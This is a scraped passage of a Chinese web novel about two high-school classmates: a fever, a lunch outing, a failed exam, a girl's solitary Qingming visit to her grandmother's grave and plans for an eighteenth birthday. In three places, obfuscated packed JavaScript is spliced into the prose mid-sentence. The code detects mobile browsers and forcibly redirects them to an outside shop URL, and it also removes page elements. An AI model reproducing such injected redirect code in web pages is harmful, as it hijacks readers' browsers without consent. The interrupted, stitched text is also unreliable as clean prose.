骆眀昭接过练习册,扬起脸,却又注意到牧时桉苍白皮肤上泛起不明红晕,她诧异地问:“你不会还发着烧吧?” 想起来这一顿饭他都吃得心不在焉,也是他平日漫不经心惯了,猛地这么一下还真让人没往那个方面去想。 牧时桉面朝着她,背对阳台逆着光,也将骆眀昭小小的身子包进阴影里,他语气淡淡地说:“好像是。” “哇,你这人真的是。”骆眀昭被他这一句轻飘飘的话搞到失语,“你家没有温度计吗?” “在我爸妈房间里,具体位置不知道。”他说。 骆眀昭理所当然地说:“那进屋去找叔叔阿姨问一下呗。” “不用。”他却直接说,语气里还似乎带着点莫名的坚定。 为什么?骆眀昭其实下意识想问。 不过就是推门进屋,开口叫爸妈,然后再麻烦他们帮着找这么一个流程吗? 但他垂着眼,看不清眸光底色,让骆眀昭看不懂他。 “那你就不量了?”她往一旁走了半步,靠坐在沙发扶手上,“也不知道自己究竟是烧还是不烧?” 大约顿了几秒,牧时桉低着眼,想出了一个方案:“你可以试一下,跟你比较。” …… 骆眀昭搭在大腿上的手顿了下,又渐渐蜷缩起来,耳根渐渐红了。 所以上午他就只是单纯让自己帮忙感觉一下温度?那她还在那里天南地北的各种乱想,恨不得将这人塑造成一个十恶不赦的罪人。 这次牧时桉俯下身,但没朝着她靠近,而是保持着骆眀昭伸出手臂可以够到,但不失距离的位置,他脑海里嗡嗡响着,在昏沉中努力唤醒自己的意识,起码别像上午那样头脑一热。 况且上午,他真的是单纯想让她帮忙试温吗? 骆眀昭定了定心神,感觉脑子里响彻的都是大悲咒的音乐,她缓缓伸出左手,覆在牧时桉的额头,另一只手又盖在自己脑门上,感受着自己的温度在做比较。 “唔,烧,但是还好,大概三十八度左右,”她试探着猜,“因为上了三十九度能明显感觉到温度的灼热,我的经验。” 牧时桉往后撤了半步,离开骆眀昭的手心,声音透着哑:“嗯,知道了。” “上午的退烧贴接着用吧,暂时物理降温,不到三十九度其实不用总吃退烧药,但抗病毒的感冒药可不能断啊。”骆大夫角色扮演有些演入迷了。 牧时桉嘴角似乎微微向上在翘着:“你像是医生。” “那是,”骆眀昭轻轻一夸就很容易有些忘乎所以,“我以后可说不定要学医呢。” “学医?”他视线缓慢扫过来,似乎从没听她说过这事。 骆眀昭懵了,她怎么就忽然说出来这话。 “哦没什么,”停顿一会儿,她伸手捞过一旁练习册,话题岔开得生硬,“既然你拍完,那我就回家去里,补个午觉下午写作业,走了。” 说完,骆眀昭就攥着练习册往大门走,她走得很快,临离开前留了句早日康复,门就“嘭”一声被紧紧闭住。 客厅里仅剩牧时桉一人,他维持着那个看向玄关的动作,片刻后,转身握着手机回到房间。 - 牧时桉这一病,缓到周四上午,孙惠才放他去上学。 “早上测抗原了吗?”孙惠递给他牛奶时,出声问道。 牧时桉接过来,平静地仰头一口灌完:“测了,没事,我一会儿去上学。” “明天去不也行?”牧正云问。 牧时桉起身,往卧室走:“明天考试,今天去复习。” 牧正云偏过头看他离开的方向:“我正好也走了,我开车送你?” 话落,短暂无人回应,片刻后牧时桉换好校服,从卧室里出来。 “不用,我现在就走。”他边说着,已经在往玄关走,他动作很快,很迅速地穿好外套,推门离开。 牧正云朝着防盗门看,终究是没说什么。 走出楼道,牧时桉目光往身侧一扫,就瞧见正在一旁给电动车开锁的王乐萍,他停下脚步,礼貌唤道:“阿姨。” 王乐萍也准备去上班,刚坐上车座,闻声回过头:“哎,是小牧啊,要去上学了啦?你不是生病了吗?” “都好了,谢谢阿姨。”他笑笑,表示无碍。 王乐萍热情地邀请他:“要不阿姨骑电动车送你去?我这车挺快的。” “谢谢阿姨,我坐公交就好。”他摆手。 七点多天色已然大亮,小区里已经有晨起去早市的老人提着菜回家,王乐萍跟好几个人都点头问好,攥着车把正准备骑车离开。 牧时桉也刚要往外走,却见王乐萍脚蹬在地上往后倒了几步,神神秘秘地说:“小牧啊,阿姨问你点事呗?” “阿姨你说。” 王乐萍清清嗓子:“你觉得我们家骆眀昭是不是在学校里,有小男朋友了?” 牧时桉顿住,略感到疑惑。 “她自己说的?”他问,眸光黯淡下去。 王乐萍摇摇头:“没有,她能跟我承认这个?我就是觉得这段时间她老是没事就发呆走神,你们正是思春期的时候,我怕她被坏小子骗了。” 牧时桉手里握着手机,飞快提取着记忆碎片:“没有,阿姨。” “是这样啊,”王乐萍说是这么说,但怎么想都觉得骆眀昭近期很不对劲啊。 难道是暗恋? 但说实话暗恋反而不用担心,虽然也是青春萌动,但至少会保持基本的距离和克制自己的理性。 “那这样,你们好朋友,你帮阿姨观察一下,万一有那种心思不纯的坏小子在骆眀昭一旁煽风点火的,你及时提醒她一下,别让她陷进去了,雨彤也是,都是朋友,那么漂亮的小姑娘,别也犯了傻。”她已经不知不觉,在心里为牧时桉建立靠谱的人物形象了。 牧时桉轻嗯一声,朝着王乐萍点点头:“行,阿姨我知道了。” “说起来小牧你长得挺帅气,学校里有喜欢、追求你的小姑娘吗?”说着说着,王乐萍就不自觉跑偏了。 牧时桉平静地睁眼说瞎话:“没有。” “不管有没有,都不能伤小姑娘的心啊。” “好” …… 对骆眀昭来说,最让人恐惧的晨起唤醒,就是早读后的第一节课是物理,又瞌睡,讲台上的蔡杨还时不时会点她的名字提问题,搞突然袭击。 整节课她是一分钟都不敢松懈,心脏悬着半空中。 毕竟现在已经没有随时能提醒她的同桌,她身旁空空荡荡,斜前桌梁若璇就是想帮忙提醒,声音也很难传到她耳朵里。 当下课铃声打响,蔡杨拿着教案往教室外走,她才终于放下笔,长长呼出一口气。 “哇,终于熬过这一节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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骆眀昭立刻歇了心思:“算了,我怕又在办公室挨骂,让其他老师看笑话,不行找个大神来指导一下。” “哪道?”正聊着,忽然一道声音传到两人耳朵里,纷纷仰起头寻找声源,坐在两人前方的林以征正扭过脸,看向她们。 相比起他本人白净的好学生长相,林以征本人的声音更小更沉郁一些,倒是跟他寡言的性格似乎有些般配。 骆眀昭几乎没听过他讲话,梁若璇身为同桌,也就跟他说过几句话。 说起来之前看到他在公交站牌那里抽烟这事,她几乎都快忘了。 两个女生面上风平浪静的,藏在桌下的手早就不自觉相互戳起来。 那意思应该是—— ‘他怎么转过来了,你叫的?’ ‘我哪知道?我也懵啊!’ 林以征掀起眼皮,淡淡回:“你刚踹我凳子。” 看向的人是骆眀昭。 啊,她又有吗?好像确实刚刚感觉踢到什么,她还以为是桌下的横杆。 “哪道?”林以征垂下眼,扫过面前摊开的练习册。 骆眀昭也愣了,他是真的要讲? 梁若璇倒是有几次找他问过题,虽然言简意赅,但意外的是他讲得还是挺好的,于是也就指指自己不太清楚的那道题:“这个。” 林以征把练习册掉个头,飞速看一眼,就分析出思路,用笔指着图示:“这里是一个整体……” 他开口的同时,两人赶紧上前听着。 不过学神等级就是不一样,即便是惜字如金,不过三言两语就讲出问题所在,两人恍然大悟。 “啊,我懂了,谢谢啊。”骆眀昭笑着表示感谢。 林以征看她一眼,也没回应,重新转过身去。 骆眀昭偏过目光,戳戳一旁姐妹,声音压低:“学神果然都有点性格。” “确实。”梁若璇慢悠悠拆着棒棒糖包装,表示赞同。 骆眀昭靠着她的肩膀,目光扫过她手里的糖果思索片刻,紧接着伸手从桌面上握住另一根,戳戳前桌的后背,林以征再次回过身来。 “给,谢谢你教我们题啊。”骆眀昭笑着朝着他递过去,算是谢礼,反正她别的没有,零食一柜子呢。 林以征眼神锁定在她手上,还没接,梁若璇也说:“没事同桌,拿上吧。” 在他缓缓伸出手去拿的同时,后门处刚好出现一道熟悉的身影。 54. 酸辣粉 先发现牧时桉来学校的人是韩进奇,他正好从卫生间回来,走在过道里就看见牧时桉停在后门口。 “兄弟,你来上学了?”韩进奇往前快跑了几步,笑着一把搂住他的脖颈。 牧时桉没什么大反应,就只是很平淡的应了声,默默收回目光。 韩进奇咋咋呼呼的劲头引得班里不少人都回头看,其中也包括正在进行友好感谢行动的骆眀昭他们。 梁若璇扭过脸朝着后门外看,也诧异着:“你今天来了?” 毕竟牧时桉今天会来上学的事并没提前说,只在群里表示自己会参加月考。 “都恢复啦?”骆眀昭有点惦记地问了一句。 梁若璇识时务地让出位置,牧时桉大步进班,顺势扯着椅背坐下,轻嗯一声。 前桌的林以征接过糖果,目光短暂逗留于他身上,又很快地默不作声转回去,仿佛什么都没发生过一般。 “掐的时间还不错,正好赶在第一节课下课来。”梁若璇坐在自己位置上又扭回来,趴在桌上。 “看下课表,”牧时桉朝着骆眀昭伸了下手,于是她把桌上立着的便签递给他,牧时桉飞速扫了眼,在桌兜里翻找着课本。 骆眀昭出声提醒他:“下节课是物理,有换课。” “既然你回到学校,辅导昭昭的是就交给你啦,”梁若璇曲起手指扣桌面,发出响声,“我再教下去,头发丝可能就离我远去了!” “喂,有那么离谱吗?”骆眀昭鼓着脸。 “有。” 牧时桉拿书的手顿了下,说:“好,我知道了。” 两个女生在笑着打闹,牧时桉收拾桌面,不知不觉想起来早晨在小区楼下,王乐萍嘱咐给他的话。 牧时桉忽然有些后悔,若是早上让牧正云送他就好了,留在家里等上他一会儿,说不定就遇不到王乐萍,也不会答应她那个请求。 现在好像,他看到无论看到谁靠近骆眀昭,都会不由自主充当起监督者的角色,压制不住的心思在心底里发酵,去疯狂猜测谁是哪个引起她心乱的人。 他轻轻叹了口气,失笑,想着牧时桉你可真是没救了。 - 八中这学期饭点允许学生出校了,只要用走读证让保安大叔看一下是不是本人,就能顺利出校,午休关校门之前回来就好,刚开学那几天风潮正盛,在食堂吃腻的学生们早就迫不及待地外出寻找新的午餐。 骆眀昭还处于两个食堂的“热恋期”,根本吃不腻学校里的饭,其他几个也没有这个心思,毕竟出校的人一多,保安查走读证的效率就不免得会低下来,多耽误时间。 今天是林雨彤先提议的,最近热度降下来,出校的人已经没有之前那么多,下早操那会儿顺道来了趟一班,见牧时桉来上学,就将这顿午餐上了点价值——欢迎牧时桉回归学校。 上午最后一节课结束,骆眀昭他们依旧是到教学楼外等那两个人。 “咱们吃什么?”骆眀昭好奇地问。 梁若璇有点头绪:“吃酸辣粉吗?就在学校门口红色牌子那店里,我高一的时候吃过,还挺不错的。” “那家不是卖小面的吗?”骆眀昭用手把刘海调整一下,风稍微吹得有些乱。 梁若璇朝着正往过走的林雨彤、薛游招招手,示意他们在这:“也有酸辣粉啊,还有肉夹馍呢。” “别了,我家还有没换完的兑换卡呢。” 顺利出了校门,从人行道穿过马路五个人抵达面馆,里面已经坐着几个穿着八中校服的学生,他们找到一个最大的桌子坐下。 林雨彤问:“你们都吃微辣酸辣粉是吗?” “我吃招牌小面,微辣。”唯独薛游一个人举手。 “行,那我去点了,三罐可乐,骆眀昭要豆奶是吧,记得群里转我元子。”林雨彤说完,便起身去往点餐台。 牧时桉来上学,让骆眀昭心心念念惦记着的那件事就有了查证的机会。 这类食物出餐很快,没一会儿就叫号去取餐。 “快吃吧,一会儿都坨了。”梁若璇分着一次性筷子,脸上也更开心了些,“不过,第一次在外面吃午饭,莫名有种在逃课的感觉。” 林雨彤无奈:“你的危险念头真是压也压不住。” 骆眀昭用筷子把红薯粉挑了一下,被埋在碗底的绿豆芽和豆腐丝就被翻了出来,其他惦记的事情先放在一边,这粉看起来真的是很诱人啊。 她同时夹起豆芽和酸辣粉,在嘴边吹了吹,然后饿狼吞食啊呜一口,辣椒混合着醋酸两种极刺激的味道点燃味蕾,一口一口真的让人停不下来,即便已经辣出生理性的眼泪她都一直坚持着。 “真香。”她感慨一句。 首先提出吃酸辣粉的梁若璇笑着:“是吧,我推荐没错的。” 骆眀昭正吃着高兴,忽然猛地想到什么被她遗忘的事,她吃个半饱,趁着对面姐妹们正在热聊着,她悄悄放下筷子,往牧时桉的方向故作平常看了一眼。 呃,他好像,还是,那样啊。 那种仿生人感,偶买噶,她又绷不住了。 或许是因为红薯粉比起其他面食更难嚼烂,牧时桉嚼起来更慢,有种把平时进食动作无限放慢的感觉。让骆眀昭越看心里越憋闷。 不对啊,她那天明明看到他是那样的啊,难道是自己眼花了? “骆眀昭你看什么呢?”林雨彤出声叫回骆眀昭出走的意识,“牧时桉脸上有钱啊。” 梁若璇一副“姐妹,你不用说我自懂”的表情,笑得促狭。 牧时桉也闻声停下进食的动作,扭过脸看她。 整个饭桌上的人都在看她,骆眀昭简直有种现行犯被抓的感觉。 “哦,我就是记得牧时桉好像之前不能吃辣,怎么感觉他吃这个酸辣粉没什么反应。”她佩服自己的反应能力。 梁若璇眨眨眼:“谁说他不能吃辣,我们家就他一个人会能辣。” 骆眀昭还记得之前在她家里吃火鸡面的事:“那他之前在我家里吃火鸡面,差点被辣哭了。” “哦——你什么时候还差点被辣哭了,老牧?”薛游一脸的八卦。 牧时桉也没忘那次他出的丑,但仍避重就轻,故作镇定:“火鸡面那种辣味我不太能受得了,像烧碱。” 话题没多久就被扯远,骆眀昭继续埋头用筷子夹酸辣粉,可还是止不住想着那件事,真的是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044007|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看错了吗? 很快一顿午餐就结束了,几个人动身往学校走。 午间太阳真是有些晒,好在这个时候,学校里的树干都早就冒出了绿色树叶,被风吹动沙沙地响着,脚下甬道地面斑驳着光点。 “……明天考一天试,然后周末两天放假再接着上三天,又放假,这生活。”薛游悠哉走着,畅想未来一段时间的悠闲。 骆眀昭过得迷糊,拉起校服外套拉链时,随口问:“放什么假,你准备逃学自己给自己放假了?” “骆眀昭你过懵了,下周四清明节啊,要放三天假的。”薛游说。 梁若曦插着口袋:“你怎么不说放完假后要连上六天课。” 对啊,要清明节了。 骆眀昭拉拉链的手戛然而止,随后几秒钟后又缓缓拉上去。 梁若璇主动开口:“清明都到了,大侄子你今年的生日都什么计划?” “他清明节过生日啊?”林雨彤一愣,虽然不太礼貌但真的让人吃惊。 “也不全是,他四月五号的生日,”梁若璇解答道,“但清明节不是会变化的吗?有时是四号,有时五号,今年算是没赶上清明,是清明第二天。” “是这样。” 提及自己的生日,当事人全然没什么反应,像是跟自己无关一般,其他人倒是热聊。 于此同时,队伍的最右,骆眀昭挽着林雨彤的手臂,默不作声地被带着走。 - 如果期待假期,那日子便会过得格外慢,清明节前的三天,好像每天都放了零点五倍速一般漫长。 月考成绩在假期前一天,也就是周三下午那天公布,同时随之而来的是骆眀昭被叫到办公室教育了整节晚自习。 实在是她的月考成绩太过显眼,宋晓这个时候显怀已经很明显,她挺着大肚子,看了眼桌上的年级排名,叹了口气,抬起头:“最近是学习压力比较大吗?” “老师考试那天我没太休息好,所以有点没精神,下次不会了。”骆眀昭抿着唇,老实道歉。 一次月考,她的班排名掉到倒数第一,年级排名甚至掉到七十名开外。 宋晓柔声嘱咐几句外加安抚,就放她离开,但出办公室前,还是被蔡杨逮个正着。 “……五十六分,你也是有点本事啊骆眀昭,这次物理卷子还出得这么简单,最后两道大题,二班学生都能做出个大概,你直接给我空一半!”蔡杨坐在椅子上,把桌子拍得啪啪响。 毕竟期末考那会儿还是七十八分,一下子断崖式退步,甚至都没及格。 骆眀昭埋着头,也没话说,只能一直保证加道歉,总算是在小晚自习结束前,回到教室。 但即便回到了熟悉的领地,她也是安静坐回位置上,默不作声地将头闷在手臂里,梁若璇和牧时桉看着,一时间竟也不知道怎么安慰。 看着她头一次这样低能量的样子,牧时桉感觉心都紧了紧。 晚上放学,所有人都在为了三天假期而欢呼,骆眀昭安静地收拾好书包,在牧时桉起身前,留下一句:“我今天先走了,拜拜。” 快步离开教室,牧时桉目光只留在她背影一秒,便再也寻不到她的踪迹。 55. 绿豆糕 气清景明万物皆显。 但好像骆眀昭就没在清明这日瞧过见晴天,总是朦朦胧胧的。 假期第一天,骆眀昭很早就起了床,林雨彤家里早早就坐高铁回新延市祭祖,她在群里疯狂吐槽着这边怎么下这么大的雨,骆眀昭撑着脑袋朝窗外看,玻璃被雨点打湿。 卧室门外窸窸窣窣一直有声音,直到脚步声朝房间越来越近,房间门被敲响。 隔着一层木门,王乐萍出声问:“我们去给姥姥上坟,你去吗?” “哦,我就不去啦,好像月经要来了,不太舒服,你跟我爸去吧。”骆眀昭揉揉眼睛,扭过头朝着门外说。 门外顿了片刻,王乐萍说:“好,那你在家多喝点热水啊,锅里有早饭。” 大约过了三两分钟,防盗门“嘭”地一声被关住,客厅里彻底没了声音。 骆眀昭垂下眼,踩着拖鞋,打开衣柜门去翻找自己的衣服。 挑了件浅杏色的连帽卫衣,胸前是只很漂亮的蝴蝶,又找了条牛仔裤,带上棒球帽,她就要出门。 临出门前,她却又进了趟厨房,掀开锅盖,锅中蒸着花卷包子还泛着热气。 骆眀昭扯了下嘴角,也不嫌烫地伸手随便抓起个什么,她飞快往嘴里塞着也觉察不出味道,吃到发噎,她赶紧接了杯水灌下去,闭着眼狠狠往下咽。 解决,这样爸妈回来应该就觉得她已经吃过早饭了。 她从伞筒里抽出把透明伞,肩上背着帆布包,就这么推门离开了家。 - “给太爷太奶两人准备的东西带了吗?”牧正云问了一句。 牧时桉站在玄关处两只手都提着口袋,他淡淡地说:“都拿了。” 牧正云也拉上外套拉链,从一旁拿出雨伞:“那走吧,你妈她已经接上他们了。” 牧时桉太奶奶,也就是梁若璇奶奶前年才走,享年九十一,牧家逢年过节上坟,都是给这两位老人祭祀。 今天下雨,孙惠和牧正云就兵分两路,孙惠早早去接公婆和小姑子,牧正云带着牧时桉去接其他几个亲戚。 牧时桉推开房门,提着东西正要迈下楼梯,楼下同时传来关门声。 他顿了片刻,然后加快了下楼的速度,站到二楼半时,跟闻声看过来的骆齐两夫妻对上目光,没有骆眀昭。 “叔叔,阿姨。”他微笑着,朝着两个长辈打招呼。 他们俩也正要下楼,王乐萍扬起头:“小牧也要去扫墓啊。” “嗯,去扫墓。” 牧正云关门下楼,往下看刚好看到骆齐,狭窄楼道里人多显得格外拥挤,牧时桉顺势缓缓往下走。 清明节这天,即便是再别扭的两人,也比平日显得要和平许多。 牧正云扫过骆齐夫妻两个人,拧起眉出声问道:“今年眀昭也不去扫墓吗?” “……嗯,她不去。”骆齐下到单元门口,语气显得有些低沉。 牧正云也没了话,表情既有无奈又带着丝疼惜。 “老牧,那我们就先走了啊。”王乐萍说完,跟骆齐打着一把伞走入雨幕。 小区没什么正经车位,车库也不过就那么几间,汽车都是胡乱停在院里,有空就钻。 牧正云将车开出小区,牧时桉在门口等着,车一停便拉开副驾车门上车。 两父子鲜少有什么话题聊,车厢里也没放广播,安静地只能听见雨点敲打车顶的声音。 牧时桉把座椅往后调了点,半阖着眼脑子里反复播放地全是刚刚楼道里几个大人说的话,昨夜他没怎么睡好,眼下如今满是疲惫而又参杂了些烦闷。 可能是因为车里太过安静了些,车停在红绿灯前,牧正云朝着他看了一眼,说:“明天就是你十八岁生日,暑假没事要不去学车吧,把驾照考下来以后你来开。” 牧时桉手交叠抱在胸前,很轻地回了个嗯。 牧正云又问了句:“生日打算怎么过?给你定个包厢?” “梁若璇说她来办。”他说。 “那也行,你们孩子们一块过有意思,用给你拿点钱吗?” “不用,还有。” 没什么营养的对话就在这里结束,牧正云多看了他一眼,车子又缓缓起步。 对于自己儿子,牧正云除了不了解外,也看不懂,但孩子已经到了要独立的年纪,想再深入了解也难。 雨滴的声音,比往日显得更加令人烦躁,牧时桉眉间紧蹙着。 终于,他最后还是开了口:“你们刚刚在楼道里,说的是什么?” “楼道?”牧正云停顿片刻,一瞬间他没反应过来,可逐渐他就明白过来,“你说眀昭?” 牧时桉抿着唇:“嗯。” “你怎么忽然想起问这个来?”牧正云不禁好奇。 完全没了休息的想法,牧时桉将椅背恢复原状,垂下头将手机点亮,语气听着很平淡:“我们是同桌,她昨天看着状态就不太好。” “是这样啊,”牧正云握着车把,他犹豫着,语气逐渐变得严肃,“当初眀昭她,是亲眼看着自己姥姥自杀去世的。” 屏幕停留在跟骆眀昭的聊天界面,牧时桉垂下头,握着手机的手逐渐泛白。 他尽量压制着他的语气:“老人,是怎么没的?” “……跳楼。” - 小雨淅淅沥沥,但比清晨天刚亮那会儿,已经好太多了。 带着凉意的风吹得人更清醒些,骆眀昭撑伞走在雨里,两只耳朵都挂着耳机,音乐声柔和又舒缓,能抚平人的思绪。 她走了有些久,出门以后的第一站,是一家门店有些老的点心铺,门口挂着的牌似乎都有些掉漆,一踏进门,就只能嗅到糕点的甜香味。 售货员小姐姐见骆眀昭收伞进来,朝着她问道:“您好,想要点什么?” “一斤绿豆糕。”骆眀昭轻车熟路地点单,指指柜台里被码放整齐的糕点。 售货员手脚麻利地打包:“还需要别的吗?” 骆眀昭四下看着,墙上挂着青团的宣传图:“再要一斤青团吧。” “好的。” 提着购物袋,骆眀昭在路边叫车,等着无聊时,垂眼看向手中的袋子。 唔,好像比从前贵了。 出租车开到陵园门口时,有不少人已经相继往外走了,骆眀昭撑着伞站在一棵树后看着,刚好看到骆齐和王乐萍相伴着走下台阶。 直到看到汽车启动已经要走,她撑伞绕了一圈,走过车上的视觉盲区,缓缓迈上台阶。 这是绮城最大的一处陵园,雨中空气弥漫花香,青石小径蜿蜒曲折,骆眀昭沿着阶梯越往上走,四周便愈静谧,几乎瞧不见人影。 等到她站在墓碑前时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056192|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,雨竟然意外地停了,骆眀昭收起伞,将雨伞随意搁置到一旁。 “我爸他真的很没品位哎,每次都买菊花,黄黄白白的有什么劲,”骆眀昭半蹲下,看着平放在墓碑前的一束菊花,忽然笑了,“姥姥,等下次我就给你买玫瑰,我们都是铿锵玫瑰,对吧。” 雨已经彻底停了,瞧见满是雨水的石碑,她从帆布包里抽出包纸抽,一点点细心擦拭这着:“看我多有先见之明,还提前带了包纸来,给咱家好好擦擦,干干净净的是吧,你以前最喜欢干净了。” 折腾了半天,碑上一尘不染,骆眀昭把脏的纸都丢到一旁的垃圾桶,又不知疲惫地小跑过来。 “看,大功告成,”骆眀昭蹲着,小心翼翼地将塑料袋解开,拿出两盒包装好的糕点,止不住地说,“买玫瑰的事,就等着下次忌日的时候吧。我早上专门去你喜欢的那间点心铺买的,你都不知道绿豆糕涨价啦,原本是两块五一块,现在是三块五一块,我钱包很痛哦,我明明记得去年来的时候还没涨价的。” 王乐萍和骆齐年轻那会儿商定婚事时,骆姥姥骆姥爷第一次来绮城见亲家,在骆家吃饭时,桌上摆着的就是这个点心,骆姥姥吃了一口觉得特别喜欢,但又不好意思多吃,就只能把包装上的地址记下来,每次来绮城的时候偷偷买。 后来骆眀昭大了些,就带着她一起来买,是她们两人之间的秘密。 骆眀昭伸手拿了块绿豆糕,笑着说:“姥姥,既然是我请你的,那我吃一块不过分吧哈哈,我尝尝哦。” 嗯,还是原先的味道,外层酥皮会掉渣,内馅绿豆沙沙面面的,又甜又香。 伴着山间的冷风,她就这么一口一口吃着。 紧接着她又从包里拿出个本子,然后垫着帆布包坐在地上,骆明昭一页页翻看,那是她的迷你日记。 “姥姥,别人都不知道,就你一个人,我只把我的日记分享给了你哦。” 每次来看姥姥,骆明昭都会带着日记本来,她怕遗漏了什么,她想把所有经历过的事都说给姥姥听,姥姥是个很好的倾听者。 她絮絮叨叨地说了很多话,分享着日记里记录的故事,那是有关自己的生活,自己的学习,自己的朋友…… “嗯,最近还喜欢上了一个男生,他跟我做同桌,长得超级无敌帅,我知道你肯定要说看人不能只看外表什么的,但反正总之,目前还很难放弃。” 雨虽停,但天仍是阴的,骆眀昭扬起头往上看了眼,乌云遮盖住天际。 她站起身子,对帆布包上的泥点视若无睹,就那么大咧咧背上。 “姥姥,我走了,等之后再来陪你啊。”她说。 骆眀昭垂下眼睫,慢慢往出走。 雨后路滑,她无意中踩在一块突起的石头上,脚一滑,整个人栽倒在地上,膝盖处顿时传来痛意。 “唔,好疼,”她撑着地,努力爬起来,唇角扬起一抹苦涩的笑意,“姥姥,是不是你还在怨我啊。” …… 稍远处,一棵粗壮的树干后,骆齐两人忧心地朝一边看,在看骆眀昭生生跪在石板路上,王乐萍眼睛一酸,差点就要冲上去。 骆齐眼睛也是红的,但却先一步出手拽住了她,小声说:“别去。” 只见少女一个人努力爬起来,小心翼翼地往山下走,王乐萍捂着嘴,终究是忍不住留下眼泪。 56. 巧克力蛋糕 回家前,骆眀昭找了家街边的小诊所,处理身上的伤口。 手心手肘处还好只是红肿,膝盖看起来就不是很好了,摔倒在突起的石头上不免得要挂上彩,医生阿姨帮她挽起裤边时,血和牛仔裤布料模糊成一片。 “小姑娘,摔成这样,你也挺能忍得啊。”医生给她消毒时,不免得感慨。 骆眀昭偏过头,不去看自己的伤口,紧紧抿着唇:“还行,其实没那么痛。” 处理完伤口回家,一推开门骆眀昭就已经闻到了饭菜的气味。 她尽力让自己走起来看着自然点,换了鞋进屋,骆齐和王乐萍坐在餐桌两次,桌面上打包餐盒摆放整齐,就等着人来享用。 “你去哪了?”王乐萍开口问,又伸手把餐盒盖一个个掀开,“懒得做饭了,我和你爸就从饭店打包了点菜。” “去买点东西,我回房间换衣服啊。”骆眀昭朝着他们笑笑,说着就背身准备走回卧室。 骆齐轻咳一声,终于是忍不住开口问:“你这走路姿势怎么怪怪的?” 骆眀昭手刚摸上卧室门把,她犹豫一瞬,接着淡淡地说:“哦,路上不小心绊倒了,没事。” 说完,就推开门回到屋内,她把脏衣服换下来,又找了套长袖长裤的家居服穿上走出房间。 一顿饭吃得没什么话,三个人都安静在吃,骆眀昭尽管没什么食欲,也一直在让自己多吃点。 “你手机是不响了?”王乐萍指了下她放在一旁的手机。 骆眀昭回过神,看到忽然亮起的屏幕,低头解锁。 是一个新建群聊,刚点进去,就看到里面一堆表情包在疯狂刷屏,骆眀昭不自觉地扬起唇角。 nauxl(梁若璇):【说吧,明天大侄子生日,各位都有什么想法啊?@所有人】 rainy(林雨彤):【先插播一句,时间别定太早啊,我明天上午九点半高铁才到绮城呢。】 rainy:【请留给我时间梳妆打扮,谢谢。】 nauxl:【我就要说这事,咱们今年都打扮洋气点,这可是我大侄子十八岁生日,都隆重点,万一拍个照片,你们没看到网上那种拉横幅,布置房间啥的。】 nauxl:【尤其就点你的名,别光洗把脸就邋里邋遢来了!@XY】 XY(薛游):【人家秋雅结……串台了。】 XY:【人家老牧过生日,你们在这里又唱又跳的,适不适合。】 他大概是还想吐槽,但梁若璇已经一瞬间甩出十几张在网上存来的成人礼照片,都很精致漂亮。 nauxl:【咱们就按这个规格来布置哈,气球彩纸什么的不用管我都买好了,明天就都早点来布置,谁都别跑!@所有人】 nauxl:【放心,等你成人礼的时候,我们也会隆重的,不用嫉妒。@XY】 nauxl:【要不下午来我家选裙子啊,我爸妈都不在家,咱们明天也多拍点好看照片呗。@昭昭是我】 骆眀昭手指悬在半空,正要敲字,膝盖上隐隐作痛又唤醒了她的意识。 昭昭是我:【不啦!我懒得动,咱们下午视频呗。】 昭昭是我:【对了,小璇你那里有长裙吗?】 nauxl:【干嘛长裙,昭昭你腿很细很直啊,穿短裙多好,反正我们室内。】 昭昭是我:【我怕冷,长裙就好。】 骆眀昭收起手机,也顺势放下筷子:“我吃饱了,回房间啦。” 说完,就起身回到了卧室。 等到翌日午后。 骆眀昭午觉睡醒第一件事就是撑着胳膊去看实时天气预报,天气简直好得不行。 最高气温二十多度,骆眀昭下床拉起窗帘,阳光直直撒进窗台上,晒到她的手背上只觉温暖。 看了会儿玻璃外的景,回过身骆眀昭便捞起一旁搭在椅子靠背上的衣服,很快地换上,不过在穿裤子时,还是不小心挂到她膝盖上的伤口,即便有纱布包着,她还是不禁“嘶”了一声。 推开卧室门,王乐萍从午饭后就一直在客厅看电视,见她出来抬头看过来一眼。 “是要给小牧去过生日对吧?”她嗑了口瓜子,问。 骆眀昭边梳着头发,边说:“对,还不知道要呆多久,如果晚回来会联系你的。” 大概是因为王乐萍莫名地对牧时桉有股信任感,她忽然想起来,“啊”一声:“你给人家准备礼物了吗?毕竟是十八岁生日。” 骆眀昭昨晚洗的澡,今早起来头发稍微有点炸毛,尤其刘海,她喷点水,又梳了会儿,披在背上的头发果然顺顺直直的,无奈地朝自己亲妈那边看一眼:“妈,在你心里我到底是什么形象?” “不靠谱的形象。”王乐萍悠悠说。 骆眀昭收拾东西,声音闷闷地从房间里传来:“买好了!” 她买了包装纸、丝带,跟着网络上的教学视频包了很久,她手挺笨的,浪费了好多张包装纸才包成现在这样方方正正的盒子,她伸手拿起来,礼物是用浅蓝色的纸包着,丝带则选得是鹅黄色,除此以外,一张贺卡被用丝带捆住,绑在了礼物盒上。 里面她写了句——祝你生日快乐,今天你十八岁啦! 骆眀昭瞧着它,顿了顿,将礼物盒塞进手提纸袋里,立在桌面上。 